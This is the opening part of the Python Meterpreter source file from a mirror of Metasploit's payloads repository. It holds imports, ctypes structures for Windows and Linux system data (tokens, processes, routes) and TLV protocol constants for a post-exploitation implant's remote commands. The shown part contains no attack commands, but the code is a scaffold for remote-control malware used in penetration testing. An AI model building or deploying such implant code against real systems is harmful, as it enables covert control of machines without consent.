mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-03-06 09:13:02 +01:00

References to wintypes were breaking the Python Meterpreter on platforms where the wintypes module was not present (anything other than Windows).
2711 lines
112 KiB
Python
2711 lines
112 KiB
Python
import fnmatch
|
|
import getpass
|
|
import os
|
|
import platform
|
|
import re
|
|
import select
|
|
import shlex
|
|
import shutil
|
|
import socket
|
|
import struct
|
|
import subprocess
|
|
import sys
|
|
import time
|
|
|
|
try:
|
|
import ctypes
|
|
import ctypes.util
|
|
has_ctypes = True
|
|
has_windll = hasattr(ctypes, 'windll')
|
|
except ImportError:
|
|
has_ctypes = False
|
|
has_windll = False
|
|
|
|
try:
|
|
import pty
|
|
has_pty = True
|
|
except ImportError:
|
|
has_pty = False
|
|
|
|
try:
|
|
import pwd
|
|
has_pwd = True
|
|
except ImportError:
|
|
has_pwd = False
|
|
|
|
try:
|
|
import termios
|
|
has_termios = True
|
|
except ImportError:
|
|
has_termios = False
|
|
|
|
try:
|
|
import fcntl
|
|
has_fcntl = True
|
|
except ImportError:
|
|
has_fcntl = False
|
|
|
|
try:
|
|
import _winreg as winreg
|
|
has_winreg = True
|
|
except ImportError:
|
|
has_winreg = False
|
|
|
|
try:
|
|
import winreg
|
|
has_winreg = True
|
|
except ImportError:
|
|
has_winreg = (has_winreg or False)
|
|
|
|
if sys.version_info[0] < 3:
|
|
is_str = lambda obj: issubclass(obj.__class__, str)
|
|
is_bytes = lambda obj: issubclass(obj.__class__, str)
|
|
bytes = lambda *args: str(*args[:1])
|
|
NULL_BYTE = '\x00'
|
|
unicode = lambda x: (x.decode('UTF-8') if isinstance(x, str) else x)
|
|
else:
|
|
if isinstance(__builtins__, dict):
|
|
is_str = lambda obj: issubclass(obj.__class__, __builtins__['str'])
|
|
str = lambda x: __builtins__['str'](x, *(() if isinstance(x, (float, int)) else ('UTF-8',)))
|
|
else:
|
|
is_str = lambda obj: issubclass(obj.__class__, __builtins__.str)
|
|
str = lambda x: __builtins__.str(x, *(() if isinstance(x, (float, int)) else ('UTF-8',)))
|
|
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
|
|
NULL_BYTE = bytes('\x00', 'UTF-8')
|
|
long = int
|
|
unicode = lambda x: (x.decode('UTF-8') if isinstance(x, bytes) else x)
|
|
|
|
libc = None
|
|
|
|
if has_ctypes:
|
|
if sys.platform == 'darwin' or sys.platform.startswith('linux'):
|
|
libc = ctypes.CDLL(ctypes.util.find_library('c'))
|
|
size_t = getattr(ctypes, 'c_uint' + str(ctypes.sizeof(ctypes.c_void_p) * 8))
|
|
#
|
|
# Windows Structures
|
|
#
|
|
class EVENTLOGRECORD(ctypes.Structure):
|
|
_fields_ = [("Length", ctypes.c_uint32),
|
|
("Reserved", ctypes.c_uint32),
|
|
("RecordNumber", ctypes.c_uint32),
|
|
("TimeGenerated", ctypes.c_uint32),
|
|
("TimeWritten", ctypes.c_uint32),
|
|
("EventID", ctypes.c_uint32),
|
|
("EventType", ctypes.c_uint16),
|
|
("NumStrings", ctypes.c_uint16),
|
|
("EventCategory", ctypes.c_uint16),
|
|
("ReservedFlags", ctypes.c_uint16),
|
|
("ClosingRecordNumber", ctypes.c_uint32),
|
|
("StringOffset", ctypes.c_uint32),
|
|
("UserSidLength", ctypes.c_uint32),
|
|
("UserSidOffset", ctypes.c_uint32),
|
|
("DataLength", ctypes.c_uint32),
|
|
("DataOffset", ctypes.c_uint32)]
|
|
|
|
class SOCKADDR(ctypes.Structure):
|
|
_fields_ = [("sa_family", ctypes.c_ushort),
|
|
("sa_data", (ctypes.c_uint8 * 14))]
|
|
|
|
class SOCKET_ADDRESS(ctypes.Structure):
|
|
_fields_ = [("lpSockaddr", ctypes.POINTER(SOCKADDR)),
|
|
("iSockaddrLength", ctypes.c_int)]
|
|
|
|
class sockaddr_in(ctypes.Structure):
|
|
_fields_ = [("sin_family", ctypes.c_short),
|
|
("sin_port", ctypes.c_ushort),
|
|
("sin_addr", ctypes.c_byte * 4),
|
|
("sin_zero", ctypes.c_char * 8)
|
|
]
|
|
SOCKADDR_IN = sockaddr_in
|
|
|
|
class sockaddr_in6(ctypes.Structure):
|
|
_fields_ = [("sin6_family", ctypes.c_short),
|
|
("sin6_port", ctypes.c_ushort),
|
|
("sin6_flowinfo", ctypes.c_ulong),
|
|
("sin6_addr", ctypes.c_byte * 16),
|
|
("sin6_scope_id", ctypes.c_ulong)
|
|
]
|
|
SOCKADDR_IN6 = sockaddr_in6
|
|
|
|
class SOCKADDR_INET(ctypes.Union):
|
|
_fields_ = [("Ipv4", SOCKADDR_IN),
|
|
("Ipv6", SOCKADDR_IN6),
|
|
("si_family", ctypes.c_short)
|
|
]
|
|
|
|
class IP_ADAPTER_UNICAST_ADDRESS(ctypes.Structure):
|
|
_fields_ = [
|
|
("s", type(
|
|
'_s_IP_ADAPTER_UNICAST_ADDRESS',
|
|
(ctypes.Structure,),
|
|
dict(_fields_=[
|
|
("Length", ctypes.c_ulong),
|
|
("Flags", ctypes.c_uint32)
|
|
])
|
|
)),
|
|
("Next", ctypes.c_void_p),
|
|
("Address", SOCKET_ADDRESS),
|
|
("PrefixOrigin", ctypes.c_uint32),
|
|
("SuffixOrigin", ctypes.c_uint32),
|
|
("DadState", ctypes.c_uint32),
|
|
("ValidLifetime", ctypes.c_ulong),
|
|
("PreferredLifetime", ctypes.c_ulong),
|
|
("LeaseLifetime", ctypes.c_ulong),
|
|
("OnLinkPrefixLength", ctypes.c_uint8)]
|
|
|
|
class IP_ADAPTER_ADDRESSES(ctypes.Structure):
|
|
_fields_ = [
|
|
("u", type(
|
|
'_u_IP_ADAPTER_ADDRESSES',
|
|
(ctypes.Union,),
|
|
dict(_fields_ = [
|
|
("Alignment", ctypes.c_ulonglong),
|
|
("s", type(
|
|
'_s_IP_ADAPTER_ADDRESSES',
|
|
(ctypes.Structure,),
|
|
dict(_fields_ = [
|
|
("Length", ctypes.c_ulong),
|
|
("IfIndex", ctypes.c_uint32)
|
|
])
|
|
))
|
|
])
|
|
)),
|
|
("Next", ctypes.c_void_p),
|
|
("AdapterName", ctypes.c_char_p),
|
|
("FirstUnicastAddress", ctypes.c_void_p),
|
|
("FirstAnycastAddress", ctypes.c_void_p),
|
|
("FirstMulticastAddress", ctypes.c_void_p),
|
|
("FirstDnsServerAddress", ctypes.c_void_p),
|
|
("DnsSuffix", ctypes.c_wchar_p),
|
|
("Description", ctypes.c_wchar_p),
|
|
("FriendlyName", ctypes.c_wchar_p),
|
|
("PhysicalAddress", (ctypes.c_uint8 * 8)),
|
|
("PhysicalAddressLength", ctypes.c_uint32),
|
|
("Flags", ctypes.c_uint32),
|
|
("Mtu", ctypes.c_uint32),
|
|
("IfType", ctypes.c_uint32),
|
|
("OperStatus", ctypes.c_uint32),
|
|
("Ipv6IfIndex", ctypes.c_uint32),
|
|
("ZoneIndices", (ctypes.c_uint32 * 16)),
|
|
("FirstPrefix", ctypes.c_void_p),
|
|
("TransmitLinkSpeed", ctypes.c_uint64),
|
|
("ReceiveLinkSpeed", ctypes.c_uint64),
|
|
("FirstWinsServerAddress", ctypes.c_void_p),
|
|
("FirstGatewayAddress", ctypes.c_void_p),
|
|
("Ipv4Metric", ctypes.c_ulong),
|
|
("Ipv6Metric", ctypes.c_ulong),
|
|
("Luid", ctypes.c_uint64),
|
|
("Dhcpv4Server", SOCKET_ADDRESS),
|
|
("CompartmentId", ctypes.c_uint32),
|
|
("NetworkGuid", (ctypes.c_uint8 * 16)),
|
|
("ConnectionType", ctypes.c_uint32),
|
|
("TunnelType", ctypes.c_uint32),
|
|
("Dhcpv6Server", SOCKET_ADDRESS),
|
|
("Dhcpv6ClientDuid", (ctypes.c_uint8 * 130)),
|
|
("Dhcpv6ClientDuidLength", ctypes.c_ulong),
|
|
("Dhcpv6Iaid", ctypes.c_ulong),
|
|
("FirstDnsSuffix", ctypes.c_void_p)]
|
|
|
|
class LASTINPUTINFO(ctypes.Structure):
|
|
_fields_ = [("cbSize", ctypes.c_uint32),
|
|
("dwTime", ctypes.c_uint32)]
|
|
|
|
class MIB_IPINTERFACE_ROW(ctypes.Structure):
|
|
_fields_ = [("Family", ctypes.c_uint16),
|
|
("InterfaceLuid", ctypes.c_uint64),
|
|
("InterfaceIndex", ctypes.c_uint32),
|
|
("MaxReassemblySize", ctypes.c_uint32),
|
|
("InterfaceIdentifier", ctypes.c_uint64),
|
|
("MinRouterAdvertisementInterval", ctypes.c_uint32),
|
|
("MaxRouterAdvertisementInterval", ctypes.c_uint32),
|
|
("AdvertisingEnabled", ctypes.c_uint8),
|
|
("ForwardingEnabled", ctypes.c_uint8),
|
|
("WeakHostSend", ctypes.c_uint8),
|
|
("WeakHostReceive", ctypes.c_uint8),
|
|
("UseAutomaticMetric", ctypes.c_uint8),
|
|
("UseNeighborUnreachabilityDetection", ctypes.c_uint8),
|
|
("ManagedAddressConfigurationSupported", ctypes.c_uint8),
|
|
("OtherStatefulConfigurationSupported", ctypes.c_uint8),
|
|
("AdvertiseDefaultRoute", ctypes.c_uint8),
|
|
("RouterDiscoveryBehavior", ctypes.c_uint32),
|
|
("DadTransmits", ctypes.c_uint32),
|
|
("BaseReachableTime", ctypes.c_uint32),
|
|
("RetransmitTime", ctypes.c_uint32),
|
|
("PathMtuDiscoveryTimeout", ctypes.c_uint32),
|
|
("LinkLocalAddressBehavior", ctypes.c_uint32),
|
|
("LinkLocalAddressTimeout", ctypes.c_uint32),
|
|
("ZoneIndices", ctypes.c_uint32 * 16),
|
|
("SitePrefixLength", ctypes.c_uint32),
|
|
("Metric", ctypes.c_uint32),
|
|
("NlMtu", ctypes.c_uint32),
|
|
("Connected", ctypes.c_uint8),
|
|
("SupportsWakeUpPatterns", ctypes.c_uint8),
|
|
("SupportsNeighborDiscovery", ctypes.c_uint8),
|
|
("SupportsRouterDiscovery", ctypes.c_uint8),
|
|
("ReachableTime", ctypes.c_uint32),
|
|
("TransmitOffload", ctypes.c_uint8),
|
|
("ReceiveOffload", ctypes.c_uint8),
|
|
("DisableDefaultRoutes", ctypes.c_uint8),
|
|
]
|
|
|
|
class IP_ADDRESS_PREFIX(ctypes.Structure):
|
|
_fields_ = [("Prefix", SOCKADDR_INET),
|
|
("PrefixLength", ctypes.c_uint8)
|
|
]
|
|
|
|
class MIB_IPFORWARDROW(ctypes.Structure):
|
|
_fields_ = [("dwForwardDest", ctypes.c_uint32),
|
|
("dwForwardMask", ctypes.c_uint32),
|
|
("dwForwardPolicy", ctypes.c_uint32),
|
|
("dwForwardNextHop", ctypes.c_uint32),
|
|
("dwForwardIfIndex", ctypes.c_uint32),
|
|
("dwForwardType", ctypes.c_uint32),
|
|
("dwForwardProto", ctypes.c_uint32),
|
|
("dwForwardAge", ctypes.c_uint32),
|
|
("dwForwardNextHopAS", ctypes.c_uint32),
|
|
("dwForwardMetric1", ctypes.c_uint32),
|
|
("dwForwardMetric2", ctypes.c_uint32),
|
|
("dwForwardMetric3", ctypes.c_uint32),
|
|
("dwForwardMetric4", ctypes.c_uint32),
|
|
("dwForwardMetric5", ctypes.c_uint32),
|
|
]
|
|
PMIB_IPFORWARDROW = ctypes.POINTER(MIB_IPFORWARDROW)
|
|
|
|
class MIB_IPFORWARD_ROW2(ctypes.Structure):
|
|
_fields_ = [("InterfaceLuid", ctypes.c_uint64),
|
|
("InterfaceIndex", ctypes.c_uint32),
|
|
("DestinationPrefix", IP_ADDRESS_PREFIX),
|
|
("NextHop", SOCKADDR_INET),
|
|
("SitePrefixLength", ctypes.c_uint8),
|
|
("ValidLifetime", ctypes.c_uint32),
|
|
("PreferredLifetime", ctypes.c_uint32),
|
|
("Metric", ctypes.c_uint32),
|
|
("Protocol", ctypes.c_uint32),
|
|
("Loopback", ctypes.c_byte),
|
|
("AutoconfigureAddress", ctypes.c_byte),
|
|
("Publish", ctypes.c_byte),
|
|
("Immortal", ctypes.c_byte),
|
|
("Age", ctypes.c_uint32),
|
|
("Origin", ctypes.c_uint32),
|
|
]
|
|
PMIB_IPFORWARD_ROW2 = ctypes.POINTER(MIB_IPFORWARD_ROW2)
|
|
|
|
|
|
class MIB_IPFORWARDTABLE(ctypes.Structure):
|
|
_fields_ = [("dwNumEntries", ctypes.c_uint32),
|
|
("table", MIB_IPFORWARDROW * 0)
|
|
]
|
|
PMIB_IPFORWARDTABLE = ctypes.POINTER(MIB_IPFORWARDTABLE)
|
|
|
|
class MIB_IPFORWARD_TABLE2(ctypes.Structure):
|
|
_fields_ = [("NumEntries", ctypes.c_uint32),
|
|
("Table", MIB_IPFORWARD_ROW2 * 0)
|
|
]
|
|
PMIB_IPFORWARD_TABLE2 = ctypes.POINTER(MIB_IPFORWARD_TABLE2)
|
|
|
|
class OSVERSIONINFOEXW(ctypes.Structure):
|
|
_fields_ = [("dwOSVersionInfoSize", ctypes.c_uint32),
|
|
("dwMajorVersion", ctypes.c_uint32),
|
|
("dwMinorVersion", ctypes.c_uint32),
|
|
("dwBuildNumber", ctypes.c_uint32),
|
|
("dwPlatformId", ctypes.c_uint32),
|
|
("szCSDVersion", (ctypes.c_wchar * 128)),
|
|
("wServicePackMajor", ctypes.c_uint16),
|
|
("wServicePackMinor", ctypes.c_uint16),
|
|
("wSuiteMask", ctypes.c_uint16),
|
|
("wProductType", ctypes.c_uint8),
|
|
("wReserved", ctypes.c_uint8)]
|
|
|
|
class PROCESSENTRY32(ctypes.Structure):
|
|
_fields_ = [("dwSize", ctypes.c_uint32),
|
|
("cntUsage", ctypes.c_uint32),
|
|
("th32ProcessID", ctypes.c_uint32),
|
|
("th32DefaultHeapID", ctypes.c_void_p),
|
|
("th32ModuleID", ctypes.c_uint32),
|
|
("cntThreads", ctypes.c_uint32),
|
|
("th32ParentProcessID", ctypes.c_uint32),
|
|
("thPriClassBase", ctypes.c_int32),
|
|
("dwFlags", ctypes.c_uint32),
|
|
("szExeFile", (ctypes.c_char * 260))]
|
|
|
|
class SID_AND_ATTRIBUTES(ctypes.Structure):
|
|
_fields_ = [("Sid", ctypes.c_void_p),
|
|
("Attributes", ctypes.c_uint32)]
|
|
|
|
class SYSTEM_INFO(ctypes.Structure):
|
|
_fields_ = [("wProcessorArchitecture", ctypes.c_uint16),
|
|
("wReserved", ctypes.c_uint16),
|
|
("dwPageSize", ctypes.c_uint32),
|
|
("lpMinimumApplicationAddress", ctypes.c_void_p),
|
|
("lpMaximumApplicationAddress", ctypes.c_void_p),
|
|
("dwActiveProcessorMask", ctypes.c_uint32),
|
|
("dwNumberOfProcessors", ctypes.c_uint32),
|
|
("dwProcessorType", ctypes.c_uint32),
|
|
("dwAllocationGranularity", ctypes.c_uint32),
|
|
("wProcessorLevel", ctypes.c_uint16),
|
|
("wProcessorRevision", ctypes.c_uint16)]
|
|
|
|
class TOKEN_USER(ctypes.Structure):
|
|
_fields_ = [("User", SID_AND_ATTRIBUTES)]
|
|
|
|
class UNIVERSAL_NAME_INFO(ctypes.Structure):
|
|
_fields_ = [("lpUniversalName", ctypes.c_wchar_p)]
|
|
|
|
class WINHTTP_CURRENT_USER_IE_PROXY_CONFIG(ctypes.Structure):
|
|
_fields_ = [("fAutoDetect", ctypes.c_int8),
|
|
("lpszAutoConfigUrl", ctypes.c_wchar_p),
|
|
("lpszProxy", ctypes.c_wchar_p),
|
|
("lpszProxyBypass", ctypes.c_wchar_p)]
|
|
|
|
class LUID(ctypes.Structure):
|
|
_fields_ = [
|
|
('LowPart', ctypes.c_uint32),
|
|
('HighPart', ctypes.c_long)
|
|
]
|
|
|
|
def __eq__(self, __o):
|
|
return (self.LowPart == __o.LowPart and self.HighPart == __o.HighPart)
|
|
|
|
def __ne__(self, __o):
|
|
return (self.LowPart != __o.LowPart or self.HighPart != __o.HighPart)
|
|
|
|
class LUID_AND_ATTRIBUTES(ctypes.Structure):
|
|
_fields_ = [
|
|
('Luid', LUID),
|
|
('Attributes', ctypes.c_uint32)
|
|
]
|
|
|
|
class TOKEN_PRIVILEGES(ctypes.Structure):
|
|
_fields_ = [
|
|
('PrivilegeCount', ctypes.c_uint32),
|
|
('Privileges', LUID_AND_ATTRIBUTES * 0),
|
|
]
|
|
def get_array(self):
|
|
array_type = LUID_AND_ATTRIBUTES * self.PrivilegeCount
|
|
return ctypes.cast(self.Privileges, ctypes.POINTER(array_type)).contents
|
|
|
|
PTOKEN_PRIVILEGES = ctypes.POINTER(TOKEN_PRIVILEGES)
|
|
|
|
|
|
#
|
|
# Linux Structures
|
|
#
|
|
class IFADDRMSG(ctypes.Structure):
|
|
_fields_ = [("family", ctypes.c_uint8),
|
|
("prefixlen", ctypes.c_uint8),
|
|
("flags", ctypes.c_uint8),
|
|
("scope", ctypes.c_uint8),
|
|
("index", ctypes.c_int32)]
|
|
|
|
class IFINFOMSG(ctypes.Structure):
|
|
_fields_ = [("family", ctypes.c_uint8),
|
|
("pad", ctypes.c_int8),
|
|
("type", ctypes.c_uint16),
|
|
("index", ctypes.c_int32),
|
|
("flags", ctypes.c_uint32),
|
|
("chagen", ctypes.c_uint32)]
|
|
|
|
class IOVEC(ctypes.Structure):
|
|
_fields_ = [("iov_base", ctypes.c_void_p),
|
|
("iov_len", size_t)]
|
|
|
|
class NLMSGHDR(ctypes.Structure):
|
|
_fields_ = [("len", ctypes.c_uint32),
|
|
("type", ctypes.c_uint16),
|
|
("flags", ctypes.c_uint16),
|
|
("seq", ctypes.c_uint32),
|
|
("pid", ctypes.c_uint32)]
|
|
|
|
class RTATTR(ctypes.Structure):
|
|
_fields_ = [("len", ctypes.c_uint16),
|
|
("type", ctypes.c_uint16)]
|
|
|
|
class RTMSG(ctypes.Structure):
|
|
_fields_ = [("family", ctypes.c_uint8),
|
|
("dst_len", ctypes.c_uint8),
|
|
("src_len", ctypes.c_uint8),
|
|
("tos", ctypes.c_uint8),
|
|
("table", ctypes.c_uint8),
|
|
("protocol", ctypes.c_uint8),
|
|
("scope", ctypes.c_uint8),
|
|
("type", ctypes.c_uint8),
|
|
("flags", ctypes.c_uint32)]
|
|
|
|
TLV_EXTENSIONS = 20000
|
|
#
|
|
# TLV Meta Types
|
|
#
|
|
TLV_META_TYPE_NONE = ( 0 )
|
|
TLV_META_TYPE_STRING = (1 << 16)
|
|
TLV_META_TYPE_UINT = (1 << 17)
|
|
TLV_META_TYPE_RAW = (1 << 18)
|
|
TLV_META_TYPE_BOOL = (1 << 19)
|
|
TLV_META_TYPE_QWORD = (1 << 20)
|
|
TLV_META_TYPE_COMPRESSED = (1 << 29)
|
|
TLV_META_TYPE_GROUP = (1 << 30)
|
|
TLV_META_TYPE_COMPLEX = (1 << 31)
|
|
# not defined in original
|
|
TLV_META_TYPE_MASK = (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16)
|
|
|
|
#
|
|
# TLV Specific Types
|
|
#
|
|
TLV_TYPE_ANY = TLV_META_TYPE_NONE | 0
|
|
TLV_TYPE_METHOD = TLV_META_TYPE_STRING | 1
|
|
TLV_TYPE_REQUEST_ID = TLV_META_TYPE_STRING | 2
|
|
TLV_TYPE_EXCEPTION = TLV_META_TYPE_GROUP | 3
|
|
TLV_TYPE_RESULT = TLV_META_TYPE_UINT | 4
|
|
|
|
TLV_TYPE_STRING = TLV_META_TYPE_STRING | 10
|
|
TLV_TYPE_UINT = TLV_META_TYPE_UINT | 11
|
|
TLV_TYPE_BOOL = TLV_META_TYPE_BOOL | 12
|
|
|
|
TLV_TYPE_LENGTH = TLV_META_TYPE_UINT | 25
|
|
TLV_TYPE_DATA = TLV_META_TYPE_RAW | 26
|
|
TLV_TYPE_FLAGS = TLV_META_TYPE_UINT | 27
|
|
|
|
TLV_TYPE_CHANNEL_ID = TLV_META_TYPE_UINT | 50
|
|
TLV_TYPE_CHANNEL_TYPE = TLV_META_TYPE_STRING | 51
|
|
TLV_TYPE_CHANNEL_DATA = TLV_META_TYPE_RAW | 52
|
|
TLV_TYPE_CHANNEL_DATA_GROUP = TLV_META_TYPE_GROUP | 53
|
|
TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54
|
|
|
|
##
|
|
# General
|
|
##
|
|
TLV_TYPE_HANDLE = TLV_META_TYPE_QWORD | 600
|
|
TLV_TYPE_INHERIT = TLV_META_TYPE_BOOL | 601
|
|
TLV_TYPE_PROCESS_HANDLE = TLV_META_TYPE_QWORD | 630
|
|
TLV_TYPE_THREAD_HANDLE = TLV_META_TYPE_QWORD | 631
|
|
|
|
##
|
|
# Fs
|
|
##
|
|
TLV_TYPE_DIRECTORY_PATH = TLV_META_TYPE_STRING | 1200
|
|
TLV_TYPE_FILE_NAME = TLV_META_TYPE_STRING | 1201
|
|
TLV_TYPE_FILE_PATH = TLV_META_TYPE_STRING | 1202
|
|
TLV_TYPE_FILE_MODE = TLV_META_TYPE_STRING | 1203
|
|
TLV_TYPE_FILE_SIZE = TLV_META_TYPE_UINT | 1204
|
|
TLV_TYPE_FILE_HASH = TLV_META_TYPE_RAW | 1206
|
|
|
|
TLV_TYPE_MOUNT_GROUP = TLV_META_TYPE_GROUP | 1207
|
|
TLV_TYPE_MOUNT_NAME = TLV_META_TYPE_STRING | 1208
|
|
TLV_TYPE_MOUNT_TYPE = TLV_META_TYPE_UINT | 1209
|
|
TLV_TYPE_MOUNT_SPACE_USER = TLV_META_TYPE_QWORD | 1210
|
|
TLV_TYPE_MOUNT_SPACE_TOTAL = TLV_META_TYPE_QWORD | 1211
|
|
TLV_TYPE_MOUNT_SPACE_FREE = TLV_META_TYPE_QWORD | 1212
|
|
TLV_TYPE_MOUNT_UNCPATH = TLV_META_TYPE_STRING | 1213
|
|
|
|
TLV_TYPE_STAT_BUF = TLV_META_TYPE_COMPLEX | 1221
|
|
|
|
TLV_TYPE_SEARCH_RECURSE = TLV_META_TYPE_BOOL | 1230
|
|
TLV_TYPE_SEARCH_GLOB = TLV_META_TYPE_STRING | 1231
|
|
TLV_TYPE_SEARCH_ROOT = TLV_META_TYPE_STRING | 1232
|
|
TLV_TYPE_SEARCH_RESULTS = TLV_META_TYPE_GROUP | 1233
|
|
|
|
TLV_TYPE_FILE_MODE_T = TLV_META_TYPE_UINT | 1234
|
|
TLV_TYPE_SEARCH_MTIME = TLV_META_TYPE_UINT | 1235
|
|
TLV_TYPE_SEARCH_M_START_DATE = TLV_META_TYPE_UINT | 1236
|
|
TLV_TYPE_SEARCH_M_END_DATE = TLV_META_TYPE_UINT | 1237
|
|
|
|
##
|
|
# Net
|
|
##
|
|
TLV_TYPE_HOST_NAME = TLV_META_TYPE_STRING | 1400
|
|
TLV_TYPE_PORT = TLV_META_TYPE_UINT | 1401
|
|
TLV_TYPE_INTERFACE_MTU = TLV_META_TYPE_UINT | 1402
|
|
TLV_TYPE_INTERFACE_FLAGS = TLV_META_TYPE_STRING | 1403
|
|
TLV_TYPE_INTERFACE_INDEX = TLV_META_TYPE_UINT | 1404
|
|
|
|
TLV_TYPE_SUBNET = TLV_META_TYPE_RAW | 1420
|
|
TLV_TYPE_NETMASK = TLV_META_TYPE_RAW | 1421
|
|
TLV_TYPE_GATEWAY = TLV_META_TYPE_RAW | 1422
|
|
TLV_TYPE_NETWORK_ROUTE = TLV_META_TYPE_GROUP | 1423
|
|
TLV_TYPE_IP_PREFIX = TLV_META_TYPE_UINT | 1424
|
|
|
|
TLV_TYPE_IP = TLV_META_TYPE_RAW | 1430
|
|
TLV_TYPE_MAC_ADDRESS = TLV_META_TYPE_RAW | 1431
|
|
TLV_TYPE_MAC_NAME = TLV_META_TYPE_STRING | 1432
|
|
TLV_TYPE_NETWORK_INTERFACE = TLV_META_TYPE_GROUP | 1433
|
|
TLV_TYPE_IP6_SCOPE = TLV_META_TYPE_RAW | 1434
|
|
|
|
TLV_TYPE_SUBNET_STRING = TLV_META_TYPE_STRING | 1440
|
|
TLV_TYPE_NETMASK_STRING = TLV_META_TYPE_STRING | 1441
|
|
TLV_TYPE_GATEWAY_STRING = TLV_META_TYPE_STRING | 1442
|
|
TLV_TYPE_ROUTE_METRIC = TLV_META_TYPE_UINT | 1443
|
|
TLV_TYPE_ADDR_TYPE = TLV_META_TYPE_UINT | 1444
|
|
|
|
##
|
|
# Proxy configuration
|
|
##
|
|
TLV_TYPE_PROXY_CFG_AUTODETECT = TLV_META_TYPE_BOOL | 1445
|
|
TLV_TYPE_PROXY_CFG_AUTOCONFIGURL = TLV_META_TYPE_STRING | 1446
|
|
TLV_TYPE_PROXY_CFG_PROXY = TLV_META_TYPE_STRING | 1447
|
|
TLV_TYPE_PROXY_CFG_PROXYBYPASS = TLV_META_TYPE_STRING | 1448
|
|
|
|
##
|
|
# Socket
|
|
##
|
|
TLV_TYPE_PEER_HOST = TLV_META_TYPE_STRING | 1500
|
|
TLV_TYPE_PEER_PORT = TLV_META_TYPE_UINT | 1501
|
|
TLV_TYPE_LOCAL_HOST = TLV_META_TYPE_STRING | 1502
|
|
TLV_TYPE_LOCAL_PORT = TLV_META_TYPE_UINT | 1503
|
|
TLV_TYPE_CONNECT_RETRIES = TLV_META_TYPE_UINT | 1504
|
|
|
|
TLV_TYPE_SHUTDOWN_HOW = TLV_META_TYPE_UINT | 1530
|
|
|
|
##
|
|
# Railgun
|
|
##
|
|
TLV_TYPE_EXTENSION_RAILGUN = 0
|
|
TLV_TYPE_RAILGUN_SIZE_OUT = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 1)
|
|
TLV_TYPE_RAILGUN_STACKBLOB = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 2)
|
|
TLV_TYPE_RAILGUN_BUFFERBLOB_IN = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 3)
|
|
TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 4)
|
|
TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 5)
|
|
TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 6)
|
|
TLV_TYPE_RAILGUN_BACK_RET = TLV_META_TYPE_QWORD | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 7)
|
|
TLV_TYPE_RAILGUN_BACK_ERR = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 8)
|
|
TLV_TYPE_RAILGUN_DLLNAME = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 9)
|
|
TLV_TYPE_RAILGUN_FUNCNAME = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 10)
|
|
TLV_TYPE_RAILGUN_MULTI_GROUP = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 11)
|
|
TLV_TYPE_RAILGUN_MEM_ADDRESS = TLV_META_TYPE_QWORD | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 12)
|
|
TLV_TYPE_RAILGUN_MEM_DATA = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 13)
|
|
TLV_TYPE_RAILGUN_MEM_LENGTH = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 14)
|
|
TLV_TYPE_RAILGUN_CALLCONV = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 15)
|
|
TLV_TYPE_RAILGUN_BACK_MSG = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 16)
|
|
|
|
##
|
|
# Registry
|
|
##
|
|
TLV_TYPE_HKEY = TLV_META_TYPE_QWORD | 1000
|
|
TLV_TYPE_ROOT_KEY = TLV_TYPE_HKEY
|
|
TLV_TYPE_BASE_KEY = TLV_META_TYPE_STRING | 1001
|
|
TLV_TYPE_PERMISSION = TLV_META_TYPE_UINT | 1002
|
|
TLV_TYPE_KEY_NAME = TLV_META_TYPE_STRING | 1003
|
|
TLV_TYPE_VALUE_NAME = TLV_META_TYPE_STRING | 1010
|
|
TLV_TYPE_VALUE_TYPE = TLV_META_TYPE_UINT | 1011
|
|
TLV_TYPE_VALUE_DATA = TLV_META_TYPE_RAW | 1012
|
|
TLV_TYPE_TARGET_HOST = TLV_META_TYPE_STRING | 1013
|
|
|
|
##
|
|
# Config
|
|
##
|
|
TLV_TYPE_COMPUTER_NAME = TLV_META_TYPE_STRING | 1040
|
|
TLV_TYPE_OS_NAME = TLV_META_TYPE_STRING | 1041
|
|
TLV_TYPE_USER_NAME = TLV_META_TYPE_STRING | 1042
|
|
TLV_TYPE_ARCHITECTURE = TLV_META_TYPE_STRING | 1043
|
|
TLV_TYPE_LANG_SYSTEM = TLV_META_TYPE_STRING | 1044
|
|
TLV_TYPE_SID = TLV_META_TYPE_STRING | 1045
|
|
TLV_TYPE_LOCAL_DATETIME = TLV_META_TYPE_STRING | 1048
|
|
|
|
##
|
|
# Environment
|
|
##
|
|
TLV_TYPE_ENV_VARIABLE = TLV_META_TYPE_STRING | 1100
|
|
TLV_TYPE_ENV_VALUE = TLV_META_TYPE_STRING | 1101
|
|
TLV_TYPE_ENV_GROUP = TLV_META_TYPE_GROUP | 1102
|
|
|
|
DELETE_KEY_FLAG_RECURSIVE = (1 << 0)
|
|
